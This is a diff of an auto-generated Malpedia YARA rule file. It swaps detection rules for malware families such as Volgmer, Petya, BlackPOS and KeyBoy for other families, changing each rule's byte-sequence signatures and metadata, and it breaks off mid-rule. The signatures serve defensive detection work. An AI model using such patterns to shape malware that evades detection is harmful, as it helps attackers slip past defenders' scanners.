-		id = "97910df3-cc32-519a-be42-e878c516a607"
+		id = "992bacc8-d168-5613-b9a1-b270fb7e71d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hardrain"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hardrain_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.megumin_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "e6beb234b33f52448f8a2b08bdea562633ec321b73d43e884a2e68853ad4b784"
+		logic_hash = "d3f02e69acad5c637179e097455fd85b104ce227d90fce5cb059c87c08c3436c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130877,34 +138125,34 @@ rule MALPEDIA_Win_Hardrain_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66c74424380000 f3ab 66ab b981000000 33c0 }
-		$sequence_1 = { 51 56 89542414 8944241c e8???????? 83c410 85c0 }
-		$sequence_2 = { 8b7c241c 6685ff 7509 5f 83c8ff 5e 83c410 }
-		$sequence_3 = { ff15???????? 85c0 7eca 8d442430 }
-		$sequence_4 = { 51 8bce e8???????? 85c0 7427 6a14 }
-		$sequence_5 = { 68b4000000 52 50 e8???????? }
-		$sequence_6 = { 8d842484000000 68???????? 50 e8???????? 8d8c248c000000 6800040000 8d942490040000 }
-		$sequence_7 = { 83c418 c3 33c0 33c9 68b4000000 89442408 }
-		$sequence_8 = { ff15???????? 8b0e 85c9 7406 8b11 6a01 ff12 }
-		$sequence_9 = { 81ec0c010000 8b842414010000 8b942418010000 57 89442404 b942000000 }
+		$sequence_0 = { 8b348510164600 037520 6b45243c 034528 6bc03c 03452c }
+		$sequence_1 = { 8945e8 57 8d4dd8 c745fc00000000 e8???????? 8b45e8 85c0 }
+		$sequence_2 = { 8d45f4 64a300000000 6841010000 8d8528faffff c745fc00000000 6a00 50 }
+		$sequence_3 = { 8d4dd8 8d45c0 50 e8???????? ff37 8d55d7 8d4db0 }
+		$sequence_4 = { c60100 e8???????? 8d4c2430 e8???????? 8bc8 83c418 83791410 }
+		$sequence_5 = { 833d????????00 0f8549870000 8d0d90e74500 ba1d000000 e9???????? 833d????????00 0f852c870000 }
+		$sequence_6 = { 83c404 8d8d14fdffff c645fc1a 51 8bd0 8d8d04fbffff }
+		$sequence_7 = { 0f1f440000 8845eb 8b410c 897da8 8945b0 c645fc02 }
+		$sequence_8 = { 8d4101 8945d8 3dffffff7f 0f8700010000 6a00 6a00 50 }
+		$sequence_9 = { 3bca 763b 8bd1 a81f 7535 8b48fc }
 
 	condition:
-		7 of them and filesize <368640
+		7 of them and filesize <1007616
 }
-rule MALPEDIA_Win_Volgmer_Auto : FILE
+rule MALPEDIA_Win_Jripbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6318a069-35e9-5ac9-b46b-f601ef58e4f8"
+		id = "7b1d247f-7cbb-5615-a25c-7a029e86230e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.volgmer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.volgmer_auto.yar#L1-L360"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jripbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jripbot_auto.yar#L1-L133"
 		license_url = "N/A"
-		logic_hash = "f927338edc5a7e32548016c88c35f08a0b0dddf5ae3c9ab69c63c8695ae3cd83"
+		logic_hash = "e485f4c42ec7ab7e0d2df3f1cd3bb910f7710773a4391061675b3c77a4acf337"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -130916,59 +138164,32 @@ rule MALPEDIA_Win_Volgmer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 488b4d40 4833cc e8???????? 4c8d9c2450010000 498b5b18 498b7b20 498be3 }
-		$sequence_1 = { 48897c2418 55 488d6c24b0 4881ec50010000 488b05???????? 4833c4 48894540 }
-		$sequence_2 = { e8???????? 488b4dc3 41890424 e8???????? }
-		$sequence_3 = { d1c6 c1c105 03c6 89742404 03c3 }
-		$sequence_4 = { ff15???????? 4885c0 740f 488b4018 488b08 8b01 8905???????? }
-		$sequence_5 = { 8b45b0 488d8dc00f0000 4533c9 4889742430 89442428 ba00000080 c744242003000000 }
-		$sequence_6 = { e8???????? 488bd8 eb03 488bdf 488d056efeffff }
-		$sequence_7 = { 75e9 488d8d90140000 48ffc9 40387101 488d4901 75f6 4c8b45a0 }
-		$sequence_8 = { c6843de011000000 488d8de0110000 e8???????? 488b4c2440 488d95e0110000 ff15???????? 0fb63d???????? }
-		$sequence_9 = { 488d4d60 41b808040000 8bf8 e8???????? ba32d00200 b940000000 ff55e0 }
-		$sequence_10 = { e8???????? 488d8dd2050000 33d2 41b806020000 6689bdd0050000 e8???????? }
-		$sequence_11 = { ff15???????? 85c0 7507 b800000100 eb26 }
-		$sequence_12 = { e8???????? e8???????? e8???????? e8???????? c705????????04000000 }
-		$sequence_13 = { e8???????? 85c0 7466 33d2 488d8c24e4000000 41b804040000 e8???????? }
-		$sequence_14 = { 8bd6 c68435000a000000 488d8d000a0000 e8???????? 488d95000a0000 498bce ff15???????? }
-		$sequence_15 = { eb17 894638 eb0e c74634047b7300 c7463806000000 }
-		$sequence_16 = { 8a07 8b0c9580f16e00 8844192e 8b049580f16e00 804c182d04 }
-		$sequence_17 = { 8b4504 8b4d0c 6a00 52 }
-		$sequence_18 = { 8b048dd4926d00 ffe0 f7c703000000 7413 8a06 8807 }
-		$sequence_19 = { e9???????? c745dc02000000 c745e0e4ba7300 8b4508 8bcf }
-		$sequence_20 = { 83c408 85f6 0f84b7010000 8bce 8d85d0fdffff }
-		$sequence_21 = { 03048d80f16e00 50 ff15???????? 5d c3 8bff }
-		$sequence_22 = { 50 68???????? ff7708 ff95e4f3ffff 817f1400008000 89470c 751c }
-		$sequence_23 = { 5f 5e c684101803000000 5b }
-		$sequence_24 = { 8a4c2428 8d442428 3acb 741a }
-		$sequence_25 = { 40 c745ecb8996d00 894df8 8945fc 64a100000000 8945e8 8d45e8 }
-		$sequence_26 = { 50 52 56 6a00 68e9fd0000 ff95e8f3ffff ff7714 }
-		$sequence_27 = { 50 51 53 53 6800000008 }
-		$sequence_28 = { ff15???????? 8d442408 50 ff15???????? 85c0 5f 740c }
-		$sequence_29 = { ba???????? 2bd1 668b0c02 6685c9 }
-		$sequence_30 = { c745dc03000000 c745e0e0ba6e00 e9???????? 83e80f 7451 }
-		$sequence_31 = { 33d2 05d9e7ffff 56 83f815 0f8711010000 ff2485786b6d00 51 }
-		$sequence_32 = { 8a01 41 84c0 75f9 6a00 2bca 8d85d0f5ffff }
-		$sequence_33 = { 8d0d90b87300 ba1b000000 e9???????? a900000080 7517 ebd4 a9ffff0f00 }
-		$sequence_34 = { e9???????? 894ddc c745e0d8ba6e00 e9???????? c745e0d4ba6e00 eba2 894ddc }
-		$sequence_35 = { 8b4de8 8b048580f16e00 f644082840 7409 }
-		$sequence_36 = { 396c2434 750b 396c2430 7505 }
+		$sequence_0 = { 48 3b442418 0f822bffffff 8b8c24fc010000 5f 5e 5b }
+		$sequence_1 = { c1e807 8807 02d2 885701 66c7060100 33c9 837b0401 }
+		$sequence_2 = { 8b5d08 c1eb08 23d8 0fb69b38834200 c1e608 33f3 8b5d0c }
+		$sequence_3 = { 8d742414 e8???????? 59 59 eb06 895c240c 33c0 }
+		$sequence_4 = { 33c0 8b8eb8000000 3bc7 0f95c0 6a02 884105 33db }
+		$sequence_5 = { 51 50 56 56 ff750c ff75fc ffd7 }
+		$sequence_6 = { 50 e8???????? 8b1d???????? 83c40c 8d442438 50 ff15???????? }
+		$sequence_7 = { 8b4004 894604 33c0 8b8c242c010000 5f 5e 5b }
+		$sequence_8 = { eb04 8b442430 8b4c241c 2b4c2418 ff742418 8b5c2438 }
+		$sequence_9 = { 7443 3bf8 743f 8b4368 397008 7537 8b4df4 }
 
 	condition:
-		7 of them and filesize <393216
+		7 of them and filesize <507904
 }
-rule MALPEDIA_Win_Mm_Core_Auto : FILE
+rule MALPEDIA_Win_Bs2005_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d45aa5c3-0724-55a7-87e0-2c03f652362f"
+		id = "ef8c48f9-bc67-59c3-a57f-caa042b605de"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mm_core"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mm_core_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bs2005"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bs2005_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "3ca1e6eabacd07d91480b5599e1196a1b257af6133657fffc185261c4367958e"
+		logic_hash = "31d800fc437e882f8e75451d429896908d917d51b135f51d420139339a52e53c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -130982,32 +138203,32 @@ rule MALPEDIA_Win_Mm_Core_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7458 57 8b7c240c 85ff 744e 6a40 6800300000 }
-		$sequence_1 = { c1f805 8bf7 83e61f c1e606 03348540400110 c745e401000000 }
-		$sequence_2 = { 8b45fc ff34c5e41c0110 53 57 e8???????? 83c40c 85c0 }
-		$sequence_3 = { 85f6 0f848d000000 8b0e 85c9 7442 8b5608 }
-		$sequence_4 = { 8b442424 8b4c242c 8938 8931 }
-		$sequence_5 = { 8955d4 8b45d4 8b4814 894ddc }
-		$sequence_6 = { 8d4c244c 51 55 55 68???????? 68???????? }
-		$sequence_7 = { 57 52 89842480000000 898c2484000000 89bc2488000000 e8???????? 83c40c }
-		$sequence_8 = { e8???????? bb???????? 8d742434 e8???????? 8d9c24a8050000 8d742428 e8???????? }
-		$sequence_9 = { 8b4dc4 0fb611 0355fc 8955fc 8b45c4 }
+		$sequence_0 = { ff15???????? 85c0 0f845f030000 8b500c }
+		$sequence_1 = { 7505 b83f000000 8d5abf 83c9ff 80fb19 771c 0fbeca }
+		$sequence_2 = { 51 50 8b02 83c041 50 e8???????? 8b974c060000 }
+		$sequence_3 = { 8b02 8a9049000400 8b8f54060000 889111010000 }
+		$sequence_4 = { 51 c645c800 e8???????? 83c40c b9???????? 8d8324010000 8da42400000000 }
+		$sequence_5 = { eb09 3c2f 7505 b93f000000 8d5abf 83c8ff 80fb19 }
+		$sequence_6 = { 50 8d9500ffffff 52 68???????? e8???????? 6804010000 6a00 }
+		$sequence_7 = { ffd6 33c0 68???????? 8d4dec 68???????? 51 8945ec }
+		$sequence_8 = { 8945f8 3b45f0 7cea 8b4510 }
+		$sequence_9 = { 8d419f 3c19 7708 0fbef1 83ee47 eb25 }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Nimplant_Auto : FILE
+rule MALPEDIA_Win_Absentloader_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c6b47fc0-6c54-5733-accf-0312881d8593"
+		id = "9aab04f2-7678-5cf8-8d74-f6db3f7fcf22"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimplant"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nimplant_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.absentloader_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "1d2dbc7055590af657485c9c8d5afa6cd108c9897c8a3274dd24779cb78842a6"
+		logic_hash = "77496690e6eb66a44354cd3e27ded72ee59f2468546d53e2a80ae68b108dd0bf"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131021,32 +138242,32 @@ rule MALPEDIA_Win_Nimplant_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 4c89e9 0f11642440 e8???????? 803b00 0f8515ffffff 488b4c2468 4885c9 }
-		$sequence_1 = { 894c2430 4889ac24b0000000 e9???????? 4981ffff7f0000 4c89f2 488b4b08 490f4ed7 }
-		$sequence_2 = { 488d051e3a0800 48895110 48894120 48c741183a000000 48c7410800000000 48c7442420a1060000 e8???????? }
-		$sequence_3 = { e8???????? 488b442440 488b542448 44886c0208 4883c001 0f8093040000 488b542448 }
-		$sequence_4 = { e8???????? 4c8b442430 48ba0000000000000040 4889f1 4c01e9 0f80b1000000 4885c9 }
-		$sequence_5 = { f30f6f25???????? 4889ea 41b8a94d975e 4c89e9 4c899c2408010000 4c89942400010000 0f11a42410010000 }
-		$sequence_6 = { 488b9424f0000000 4889d1 4883e904 0f80de0f0000 4839ca 0f8e58100000 4885c9 }
-		$sequence_7 = { e8???????? 803b00 488b942488000000 488b842480000000 0f8599feffff 4c8b4e58 4c89f1 }
-		$sequence_8 = { 80f90b 0f873b1a0000 0fb6f2 83ee01 4863f6 4883c60c 48c1e604 }
-		$sequence_9 = { 4889eb 48897c2440 488b7c2438 4889c5 4c89ee 4c897c2460 }
+		$sequence_0 = { fe81b89406fd 89148d909406fd 8d4dfc e8???????? 5e c9 c3 }
+		$sequence_1 = { eb16 66c704375c6e eb0e 66c704375c74 eb06 66c704375c62 83c602 }
+		$sequence_2 = { e8???????? c645fc12 8bcb 0f2805???????? 0f1145b4 6a7f }
+		$sequence_3 = { 740f 33c0 80b034a606fd2e 40 83f814 72f3 8b0d???????? }
+		$sequence_4 = { 8bec 56 ff7508 8bf1 e8???????? c706841e05fd }
+		$sequence_5 = { 7408 3a8ac05d05fd 755a 8b06 8a08 40 42 }
+		$sequence_6 = { 7e37 68f8aa06fd e8???????? 833d????????ff 59 7523 bffcaa06fd }
+		$sequence_7 = { 7417 6827130000 6830f405fd 68341606fd e8???????? 83c40c 837f2c00 }
+		$sequence_8 = { c9 c3 6a08 b8a30305fd e8???????? 8bf1 8975ec }
+		$sequence_9 = { 84db 743b 8b4608 8378fc00 7432 83ec10 8d4668 }
 
 	condition:
-		7 of them and filesize <1811456
+		7 of them and filesize <794624
 }
-rule MALPEDIA_Win_Kimjongrat_Auto : FILE
+rule MALPEDIA_Win_Hlux_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "db4baf64-c410-5dd4-86f2-fb3657762c91"
+		id = "0554b2ef-0799-5994-8001-d3a987727985"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kimjongrat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.hlux_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "515b099b5f4271a4a56e7e428e24670deb74340ff8bb9a2bab6a20ed3f485ca9"
+		logic_hash = "53ff7358e541a46f4d140f6dc71959f0fd15f8b04731bebe36051fa435d4979d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131060,34 +138281,40 @@ rule MALPEDIA_Win_Kimjongrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? c6840db4edffff2a e9???????? c6840db4edffff26 e9???????? c6840db4edffff5b eb6c }
-		$sequence_1 = { e8???????? 8bd8 83c414 85db 0f8508010000 33c9 894de4 }
-		$sequence_2 = { ff7004 8d4108 50 e8???????? 8b5508 8b4840 894a20 }
-		$sequence_3 = { ff7508 e8???????? 6a01 57 6a4c 56 e8???????? }
-		$sequence_4 = { e9???????? 8b4c8f58 894dd0 898d60ffffff 8b55a4 b860240000 66854208 }
-		$sequence_5 = { c68540d0ffff00 e8???????? 83c40c ba???????? 33c9 8a02 42 }
-		$sequence_6 = { e9???????? c6840da0e8ffff77 e9???????? c6840da0e8ffff76 e9???????? c6840da0e8ffff65 e9???????? }
-		$sequence_7 = { ff30 e8???????? 8b450c 83c404 c70000000000 8b55f8 c645f000 }
-		$sequence_8 = { e9???????? c6840dccf3ffff2d e9???????? c6840dccf3ffff7d e9???????? c6840dccf3ffff29 e9???????? }
-		$sequence_9 = { 8bf8 83c404 897dac 85ff 0f8418f3ffff b800400000 66854608 }
+		$sequence_0 = { 81f949e2a499 750b 83f90e 7406 }
+		$sequence_1 = { 0101 c9 c3 6a10 }
+		$sequence_2 = { 0009 1b4e01 e405 9d }
+		$sequence_3 = { 0088aa4b0023 d18a0688078a 46 018847018a46 }
+		$sequence_4 = { 0130 8b13 8b08 85d2 }
+		$sequence_5 = { b8e3062de4 09c0 7506 898550ffffff 8b8550ffffff ba205af5bb }
+		$sequence_6 = { 7545 8945fc 8b45f0 895de8 81f97a701028 7534 }
+		$sequence_7 = { 0104b9 33c9 83c408 85c0 }
+		$sequence_8 = { 010f 840f 0000 008365f0fe8b }
+		$sequence_9 = { 8b0d???????? 85c9 753f 83f963 753a 8945fc 83f93f }
+		$sequence_10 = { 0104bb 8d1447 89542418 e9???????? }
+		$sequence_11 = { 895de8 33f6 8955cc 83fe13 7503 8975fc 5e }
+		$sequence_12 = { 0000 008365f0fe8b 4d 0883c108e918 }
+		$sequence_13 = { 8945e0 83f9f3 7507 09c9 7403 }
+		$sequence_14 = { 81fb2e5ca766 7503 895de8 8945d4 }
+		$sequence_15 = { 83fbd5 7413 33c0 83f827 7403 }
 
 	condition:
-		7 of them and filesize <1572864
+		7 of them and filesize <3147776
 }
-rule MALPEDIA_Win_Chir_Auto : FILE
+rule MALPEDIA_Win_Keyboy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18ccfa9f-30e1-5e52-b265-5cee479b1cb5"
+		id = "1db1fbfb-59c2-5bfb-976b-a0743f8a46eb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chir"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.chir_auto.yar#L1-L115"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.keyboy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.keyboy_auto.yar#L1-L207"
 		license_url = "N/A"
-		logic_hash = "3243cfbae6092a474cd7d4359f5703dd14295b3f14d9c12875310667b98d1cdf"
+		logic_hash = "c0d23ea688bcee5d6eecf54208ea66cac91415e69b2f38d43039891e2137c619"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -131099,32 +138326,44 @@ rule MALPEDIA_Win_Chir_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 47 8811 3bf8 72e7 }
-		$sequence_1 = { 8d4c3df0 8a11 80f2fc 80c202 }
-		$sequence_2 = { e8???????? 48 59 8bcb 7419 }
-		$sequence_3 = { 5e 7419 8d4c35f8 8a11 80f2fc }
-		$sequence_4 = { 8d45f0 50 c745f021352432 c745f451173300 e8???????? 48 }
-		$sequence_5 = { c745f451173300 e8???????? 48 59 8bfb }
-		$sequence_6 = { 8d4c35f0 8a11 80f2fc 80c202 80f201 }
-		$sequence_7 = { 8a19 80f3fc 80c302 80f301 80c303 42 }
-		$sequence_8 = { 7415 8d4c15f8 8a01 34fc }
-		$sequence_9 = { 8a11 80f2fc 80c202 80f201 80c203 46 8811 }
+		$sequence_0 = { 6a00 8945f2 8d45f8 50 6a0e }
+		$sequence_1 = { 51 ff75d8 6a00 ff75c0 }
+		$sequence_2 = { c705????????d468bcb5 c705????????2086e659 c705????????eec45abf c705????????bbee2bd1 c705????????3e20f129 }
+		$sequence_3 = { c705????????890e9944 c705????????dbd99823 c705????????d468bcb5 c705????????2086e659 }
+		$sequence_4 = { 5d c3 3b0d???????? f27502 f2c3 f2e953030000 55 }
+		$sequence_5 = { c705????????0caa6c89 c705????????a856701f c705????????597e743c c705????????0a9769e0 c705????????c4b85363 c705????????3abf261f c705????????890e9944 }
+		$sequence_6 = { 57 68cc020000 8d852cfdffff 8bf2 6a00 50 89b528fdffff }
+		$sequence_7 = { ff75dc ff15???????? 8d45dc 50 }
+		$sequence_8 = { e9???????? bbfeffffff eb05 bbfdffffff }
+		$sequence_9 = { 24a0 3ca0 7518 b800080000 }
+		$sequence_10 = { 6683f806 7404 32c9 eb02 b101 }
+		$sequence_11 = { c705????????34fbfb41 c705????????e6cd2b66 c705????????79e66d38 c705????????ba66ea37 c705????????1671e665 c705????????f3106cb3 c705????????526c1ed0 }
+		$sequence_12 = { e8???????? 85c0 755e 83ff20 }
+		$sequence_13 = { 2408 f6d8 1ac0 24dd }
+		$sequence_14 = { 41 84c0 75f0 8d55ec c745ec5c417070 }
+		$sequence_15 = { 7cd6 5f 5e 8be5 }
+		$sequence_16 = { ff15???????? 8b15???????? 8b4dc0 8945b8 e8???????? }
+		$sequence_17 = { 7207 b901000000 eb0f 3cfe }
+		$sequence_18 = { f7d9 85db 0f44c2 23c8 }
+		$sequence_19 = { 85d2 7e2a 8bce 81e107000080 }
+		$sequence_20 = { 3401 0fbec0 0fafc8 80f185 880c3e 46 }
+		$sequence_21 = { 1ac0 24dd 88474e e8???????? }
 
 	condition:
-		7 of them and filesize <286720
+		7 of them and filesize <2170880
 }
-rule MALPEDIA_Win_Sinowal_Auto : FILE
+rule MALPEDIA_Win_Owlproxy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "31384acf-e07e-5abe-adce-b44a77e374ec"
+		id = "9642ab2d-7dc5-58a6-b1f9-20da6d2b2d38"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sinowal"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sinowal_auto.yar#L1-L122"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.owlproxy_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "42d79ca235acd4d3a743286e206901b01ddea7a50a0ec3cebf0e0027f96ae13f"
+		logic_hash = "8f3ab8fd440290f6fe4f2136a06c496cf082fcb282138fdbc332de45a924ef6b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131138,32 +138377,32 @@ rule MALPEDIA_Win_Sinowal_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d95bcfdffff 52 e8???????? 83c40c c745f000000000 }
-		$sequence_1 = { 8b450c 8b4d08 8d5401ff 8955fc eb12 8b4508 83c001 }
-		$sequence_2 = { c745f400000000 c745f800000000 8b4510 8945fc 8b4510 33d2 b908000000 }
-		$sequence_3 = { 6a00 8b45f8 50 ff15???????? 8b45f4 }
-		$sequence_4 = { 8b0495d0669600 2500000080 8b4df8 8b148dd4669600 81e2ffffff7f 0bc2 }
-		$sequence_5 = { 8945d8 c745e400000000 c745fc00000000 68???????? }
-		$sequence_6 = { 837d0800 7406 837d0c00 7502 eb64 8b450c }
-		$sequence_7 = { 89048dd0669600 8b55fc 8b45fc 8b0c85d0669600 890c95d0669600 8b55fc }
-		$sequence_8 = { 890d???????? c705????????00000000 a1???????? 8b0c85d0669600 894dfc }
-		$sequence_9 = { c745f400000000 c745f800000000 c745fc00000000 837d0800 7416 837d0c00 7410 }
+		$sequence_0 = { 488d942450010000 488d8c2430010000 e8???????? 90 4c8d842430010000 4883bc244801000008 4c0f43842430010000 }
+		$sequence_1 = { 488bcb 488905???????? ff15???????? 488d151b580100 483305???????? 488bcb 488905???????? }
+		$sequence_2 = { 4889442428 488d442450 4533c0 488bcf 664489a588010000 4889442420 ff15???????? }
+		$sequence_3 = { 488d4c2440 e8???????? eb27 49c747180f000000 49c7471000000000 41c60700 4533c0 }
+		$sequence_4 = { e8???????? 448bc0 488bd3 488bce e8???????? 84c0 7406 }
+		$sequence_5 = { e8???????? 90 488b4527 4c8b4d0f 6690 48837de700 740a }
+		$sequence_6 = { 4c8bc6 498bd7 488d0c28 e8???????? 4c8b4708 488b542478 }
+		$sequence_7 = { f6c101 7527 458bc6 488d156ee10000 663b1a }
+		$sequence_8 = { 4889442428 488d054eff0100 4889442440 488b442468 48634804 488d0581fe0100 4889440c68 }
+		$sequence_9 = { 89442420 4c8bce 4533c0 488b5610 488b4da8 ff15???????? 85c0 }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <475136
 }
-rule MALPEDIA_Win_Dtrack_Auto : FILE
+rule MALPEDIA_Win_Blackpos_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a233c383-e1c0-5a80-b962-04f71174b55f"
+		id = "52663687-3a52-5b88-8f0a-e8064cfb2262"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dtrack_auto.yar#L1-L160"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackpos"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackpos_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "da8244413760aff3fc60e26778e79f2591abffda2d0aa55a6f2fe1a5cc4b0aa3"
+		logic_hash = "8568ffc0a3f0ef5ce5cdc7a729339af7d16e27d116b4f347ef077609e2cc96da"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -131177,37 +138416,32 @@ rule MALPEDIA_Win_Dtrack_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 52 8b4508 50 e8???????? 83c414 8b4d10 51 }
-		$sequence_1 = { ff15???????? 8d85dcfdffff 50 6a01 }
-		$sequence_2 = { 8955f0 8b45f0 0fb68899010000 51 8b55f0 }
-		$sequence_3 = { 8d85ecfeffff 50 8d8dc8fdffff 51 8d95ccfdffff }
-		$sequence_4 = { 0345f4 8810 ebac e9???????? 8be5 }
-		$sequence_5 = { 52 8d8590f5ffff 50 ff15???????? c685a0f8ffff00 6803010000 6a00 }
-		$sequence_6 = { c685b8fbffff00 6803010000 6a00 8d8db9fbffff 51 e8???????? }
-		$sequence_7 = { 51 e8???????? 83c410 8b558c 52 }
-		$sequence_8 = { 8b8520f5ffff 8a4801 888d1ff5ffff 838520f5ffff01 }
-		$sequence_9 = { d1e9 894df8 8b5518 8955fc c745f000000000 eb09 }
-		$sequence_10 = { 8b45fc c1e808 8b4dfc c1e910 }
-		$sequence_11 = { c1e810 23c8 33d1 8855f7 8b4df8 c1e908 8b55fc }
-		$sequence_12 = { 894d14 8b45f8 c1e018 8b4dfc }
-		$sequence_13 = { 6867452301 8b4d10 51 8b55f4 52 }
-		$sequence_14 = { eb64 8b4d10 51 6a00 8b55f4 52 e8???????? }
+		$sequence_0 = { e9???????? b800000200 3bf8 7602 8bf8 8d85f4fffdff }
+		$sequence_1 = { 3bca 7408 47 83ff44 72ef eb08 }
+		$sequence_2 = { 83c414 85c0 7433 e8???????? 85c0 }
+		$sequence_3 = { 8d4dbc 51 03c6 50 e8???????? }
+		$sequence_4 = { 3bfb 0f84f8000000 68ff030000 8d85fdfbffff 53 50 }
+		$sequence_5 = { f7f9 8b4dfc 5f 5e 5b 8bc2 }
+		$sequence_6 = { 8b8040f84100 3bf0 7e44 83ee07 eb3f 2503000080 7905 }
+		$sequence_7 = { 3bf7 7513 8d45e0 50 e8???????? 59 }
+		$sequence_8 = { 6a07 59 6804010000 be???????? }
+		$sequence_9 = { e8???????? 83c40c 85c0 7414 6a01 68???????? }
 
 	condition:
-		7 of them and filesize <1736704
+		7 of them and filesize <3293184
 }
-rule MALPEDIA_Win_Petya_Auto : FILE
+rule MALPEDIA_Win_Havex_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
